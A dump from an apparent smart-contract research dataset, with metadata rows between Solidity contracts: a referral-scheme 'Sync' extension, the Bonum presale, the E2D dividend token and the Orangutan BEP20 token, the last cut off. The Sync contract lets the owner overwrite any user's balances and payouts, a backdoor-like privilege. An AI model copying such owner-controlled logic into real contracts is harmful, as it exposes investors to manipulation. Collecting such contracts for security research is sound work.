function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract Sync is dogex {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
//require(users[_uplines[i]].total_deposits > 0, "No upline");
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
}
| 321,939 | 14,014 |
f788ed27c75a1f4f340c395dff34f437ec6144d5c049fb0d7dd99201e63f3165
| 12,374 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa12667757d73866417364680efbfd69c70cf767d.sol
| 3,123 | 11,063 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract InvestorsList is Ownable {
using SafeMath for uint;
enum WhiteListStatus {Usual, WhiteList, PreWhiteList}
struct Investor {
bytes32 id;
uint tokensCount;
address walletForTokens;
WhiteListStatus whiteListStatus;
bool isVerified;
}
mapping (address => bool) manipulators;
mapping (address => bytes32) public nativeInvestorsIds;
mapping (bytes32 => Investor) public investorsList;
modifier allowedToManipulate(){
require(manipulators[msg.sender] || msg.sender == owner);
_;
}
function changeManipulatorAddress(address saleAddress, bool isAllowedToManipulate) external onlyOwner{
require(saleAddress != 0x0);
manipulators[saleAddress] = isAllowedToManipulate;
}
function setInvestorId(address investorAddress, bytes32 id) external onlyOwner{
require(investorAddress != 0x0 && id != 0);
nativeInvestorsIds[investorAddress] = id;
}
function addInvestor(bytes32 id,
WhiteListStatus status,
bool isVerified) external onlyOwner {
require(id != 0);
require(investorsList[id].id == 0);
investorsList[id].id = id;
investorsList[id].tokensCount = 0;
investorsList[id].whiteListStatus = status;
investorsList[id].isVerified = isVerified;
}
function removeInvestor(bytes32 id) external onlyOwner {
require(id != 0 && investorsList[id].id != 0);
investorsList[id].id = 0;
}
function isAllowedToBuyByAddress(address investor) external view returns(bool){
require(investor != 0x0);
bytes32 id = nativeInvestorsIds[investor];
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].isVerified;
}
function isAllowedToBuyByAddressWithoutVerification(address investor) external view returns(bool){
require(investor != 0x0);
bytes32 id = nativeInvestorsIds[investor];
require(id != 0 && investorsList[id].id != 0);
return true;
}
function isAllowedToBuy(bytes32 id) external view returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].isVerified;
}
function isPreWhiteListed(bytes32 id) external constant returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].whiteListStatus == WhiteListStatus.PreWhiteList;
}
function isWhiteListed(bytes32 id) external view returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].whiteListStatus == WhiteListStatus.WhiteList;
}
function setVerificationStatus(bytes32 id, bool status) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].isVerified = status;
}
function setWhiteListStatus(bytes32 id, WhiteListStatus status) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].whiteListStatus = status;
}
function addTokens(bytes32 id, uint tokens) external allowedToManipulate{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].tokensCount = investorsList[id].tokensCount.add(tokens);
}
function subTokens(bytes32 id, uint tokens) external allowedToManipulate{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].tokensCount = investorsList[id].tokensCount.sub(tokens);
}
function setWalletForTokens(bytes32 id, address wallet) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].walletForTokens = wallet;
}
}
contract BonumPreSale is Pausable{
using SafeMath for uint;
string public constant name = "Bonum PreSale";
uint public startDate;
uint public endDate;
uint public whiteListPreSaleDuration = 1 days;
function setWhiteListDuration(uint duration) external onlyOwner{
require(duration > 0);
whiteListPreSaleDuration = duration * 1 days;
}
uint public fiatValueMultiplier = 10**6;
uint public tokenDecimals = 10**18;
InvestorsList public investors;
address beneficiary;
uint public ethUsdRate;
uint public collected = 0;
uint public tokensSold = 0;
uint public tokensSoldWithBonus = 0;
uint[] firstColumn;
uint[] secondColumn;
event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount);
function BonumPreSale(uint _startDate,
uint _endDate,
address _investors,
address _beneficiary,
uint _baseEthUsdRate) public {
startDate = _startDate;
endDate = _endDate;
investors = InvestorsList(_investors);
beneficiary = _beneficiary;
ethUsdRate = _baseEthUsdRate;
initBonusSystem();
}
function initBonusSystem() private{
firstColumn.push(1750000);
firstColumn.push(10360000);
firstColumn.push(18980000);
firstColumn.push(25000000);
secondColumn.push(1560000);
secondColumn.push(9220000);
secondColumn.push(16880000);
secondColumn.push(22230000);
}
function setNewBeneficiary(address newBeneficiary) external onlyOwner {
require(newBeneficiary != 0x0);
beneficiary = newBeneficiary;
}
function setEthUsdRate(uint rate) external onlyOwner {
require(rate > 0);
ethUsdRate = rate;
}
function setNewStartDate(uint newStartDate) external onlyOwner{
require(newStartDate > 0);
startDate = newStartDate;
}
function setNewEndDate(uint newEndDate) external onlyOwner{
require(newEndDate > 0);
endDate = newEndDate;
}
function setNewInvestorsList(address investorsList) external onlyOwner {
require(investorsList != 0x0);
investors = InvestorsList(investorsList);
}
modifier activePreSale(){
require(now >= startDate && now < endDate);
_;
}
modifier underCap(){
require(tokensSold < uint(750000).mul(tokenDecimals));
_;
}
modifier isAllowedToBuy(){
require(investors.isAllowedToBuyByAddressWithoutVerification(msg.sender));
_;
}
modifier minimumAmount(){
require(msg.value.mul(ethUsdRate).div(fiatValueMultiplier.mul(1 ether)) >= 100);
_;
}
mapping (address => uint) public nativeInvestors;
function() payable public whenNotPaused activePreSale minimumAmount underCap{
uint tokens = msg.value.mul(ethUsdRate).div(fiatValueMultiplier);
tokensSold = tokensSold.add(tokens);
tokens = tokens.add(calculateBonus(tokens));
nativeInvestors[msg.sender] = tokens;
tokensSoldWithBonus = tokensSoldWithBonus.add(tokens);
nativeInvestors[msg.sender] = tokens;
NewContribution(msg.sender, tokens, msg.value);
collected = collected.add(msg.value);
beneficiary.transfer(msg.value);
}
//usd * 10^6
function otherCoinsPurchase(bytes32 id, uint amountInUsd) external whenNotPaused underCap activePreSale onlyOwner {
require(id.length > 0 && amountInUsd >= (uint(100).mul(fiatValueMultiplier)) && investors.isAllowedToBuy(id));
uint tokens = amountInUsd.mul(tokenDecimals).div(fiatValueMultiplier);
tokensSold = tokensSold.add(tokens);
tokens = tokens.add(calculateBonus(tokens));
tokensSoldWithBonus = tokensSoldWithBonus.add(tokens);
investors.addTokens(id, tokens);
}
function calculateBonus(uint tokensCount) public constant returns (uint){
//+1 because needs whole days
uint day = ((now.sub(startDate.add(whiteListPreSaleDuration))).div(1 days)).add(1);
uint B1;
uint B2;
if (tokensCount < uint(1000).mul(tokenDecimals)) {
B1 = (((tokensCount - 100 * tokenDecimals) * (firstColumn[1] - firstColumn[0])) / ((1000-100) * tokenDecimals)) + firstColumn[0];
B2 = (((tokensCount - 100 * tokenDecimals) * (secondColumn[1] - secondColumn[0])) / ((1000-100) * tokenDecimals)) + secondColumn[0];
}
if (tokensCount >= uint(1000).mul(tokenDecimals) && tokensCount < uint(10000).mul(tokenDecimals)) {
B1 = (((tokensCount - 1000 * tokenDecimals) * (firstColumn[2] - firstColumn[1])) / ((10000-1000) * tokenDecimals)) + firstColumn[1];
B2 = (((tokensCount - 1000 * tokenDecimals) * (secondColumn[2] - secondColumn[1])) / ((10000-1000) * tokenDecimals)) + secondColumn[1];
}
if (tokensCount >= uint(10000).mul(tokenDecimals) && tokensCount < uint(50000).mul(tokenDecimals)) {
B1 = (((tokensCount - 10000 * tokenDecimals) * (firstColumn[3] - firstColumn[2])) / ((50000-10000) * tokenDecimals)) + firstColumn[2];
B2 = (((tokensCount - 10000 * tokenDecimals) * (secondColumn[3] - secondColumn[2])) / ((50000-10000) * tokenDecimals)) + secondColumn[2];
}
if (tokensCount >= uint(50000).mul(tokenDecimals)) {
B1 = firstColumn[3];
B2 = secondColumn[3];
}
uint bonusPercent = B1.sub(((day - 1).mul(B1 - B2)).div(12));
return calculateBonusTokensAmount(tokensCount, bonusPercent);
}
function calculateBonusTokensAmount(uint tokensCount, uint bonusPercent) private constant returns(uint){
uint bonus = tokensCount.mul(bonusPercent);
bonus = bonus.div(100);
bonus = bonus.div(fiatValueMultiplier);
return bonus;
}
}
| 179,544 | 14,015 |
c9211a0a71473f577a0ad99e5ad336ec54a14e218616409b0ed91a90c6654f99
| 20,430 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x5666c4d481ccc798d4d7cafe8a53820f71089e8b.sol
| 4,151 | 15,764 |
pragma solidity 0.4.25;
contract E2D {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends() > 0);
_;
}
// owner can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyOwner(){
require(ownerAddr == msg.sender || OWNER_ADDRESS_2 == msg.sender, "only owner can perform this!");
_;
}
modifier onlyInitialInvestors(){
if(initialState) {
require(initialInvestors[msg.sender] == true, "only allowed investor can invest!");
_;
} else {
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event onPayDividends(uint256 dividends,
uint256 profitPerShare);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "E2D";
string public symbol = "E2D";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
address constant internal OWNER_ADDRESS = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
address constant internal OWNER_ADDRESS_2 = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
uint256 constant public INVESTOR_QUOTA = 0.01 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint256 internal totalInvestment_ = 0;
uint256 internal totalGameDividends_ = 0;
// smart contract owner address (see above on what they can do)
address public ownerAddr;
mapping(address => bool) public initialInvestors;
// when this is set to true, only allowed initialInvestors can purchase tokens.
bool public initialState = true;
constructor() public {
// add initialInvestors here
ownerAddr = OWNER_ADDRESS;
initialInvestors[OWNER_ADDRESS] = true;
initialInvestors[OWNER_ADDRESS_2] = true;
}
function buy() public payable returns(uint256) {
purchaseTokens(msg.value);
}
function() public payable {
purchaseTokens(msg.value);
}
function reinvest() public onlyStronghands() {
// fetch dividends
uint256 _dividends = myDividends();
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw() public onlyStronghands() {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends();
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) public onlyBagholders() {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress], "token to sell should be less then balance!");
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) public onlyBagholders() returns(bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until adminstrator phase is over
require(!initialState && (_amountOfTokens <= tokenBalanceLedger_[_customerAddress]), "initial state or token > balance!");
// withdraw all outstanding dividends first
if(myDividends() > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function payDividends() external payable {
uint256 _dividends = msg.value;
require(_dividends > 0, "dividends should be greater then 0!");
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
totalGameDividends_ = SafeMath.add(totalGameDividends_, _dividends);
// fire event
emit onPayDividends(_dividends, profitPerShare_);
}
}
function disableInitialStage() public onlyOwner() {
require(initialState == true, "initial stage is already false!");
initialState = false;
}
function setInitialInvestors(address _addr, bool _status) public onlyOwner() {
initialInvestors[_addr] = _status;
}
function setName(string _name) public onlyOwner() {
name = _name;
}
function setSymbol(string _symbol) public onlyOwner() {
symbol = _symbol;
}
function totalEthereumBalance() public view returns(uint) {
return address(this).balance;
}
function totalSupply() public view returns(uint256) {
return tokenSupply_;
}
function totalInvestment() public view returns(uint256) {
return totalInvestment_;
}
function totalGameDividends() public view returns(uint256) {
return totalGameDividends_;
}
function myTokens() public view returns(uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends() public view returns(uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns(uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns(uint256) {
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns(uint256) {
// our calculation relies on the token supply, so we need supply.
if(tokenSupply_ == 0){
return 0;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns(uint256) {
// our calculation relies on the token supply, so we need supply.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) {
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) {
require(_tokensToSell <= tokenSupply_, "token to sell should be less then total supply!");
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum) internal onlyInitialInvestors() returns(uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _dividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require((_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_)), "token should be > 0!");
// we can't give people infinite ethereum
if(tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
totalInvestment_ = SafeMath.add(totalInvestment_, _incomingEthereum);
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// disable initial stage if investor quota of 0.01 eth is reached
if(address(this).balance >= INVESTOR_QUOTA) {
initialState = false;
}
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 142,796 | 14,016 |
6bda69417ebaa7036834e05ebbff609099d0b2c59ff6a0493e3a2f7d6e88c0bd
| 31,711 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x47b5c497C77E8574154013d0948aC3Bc8389aD82/contract.sol
| 5,666 | 20,697 |
// TG: https://t.me/
// Twitter: https://twitter.com/
// Medium: https://medium.com/@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address payable private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
// Owner's address
address payable msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address payable) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Orangutan is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
// How many token units a buyer gets per wei (txn fee is accounted for)
uint256 public rate = 2223;
// Amount of wei raised
uint256 public weiRaised;
// Distribution state
bool public isDistributionFinished = false;
uint256 public amountRemaining = 1000000 * _DECIMALFACTOR;
uint256 public amountDistributed = 0;
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Orangutan';
string private constant _SYMBOL = 'ORAG';
uint8 private constant _DECIMALS = 18;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 2061856 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
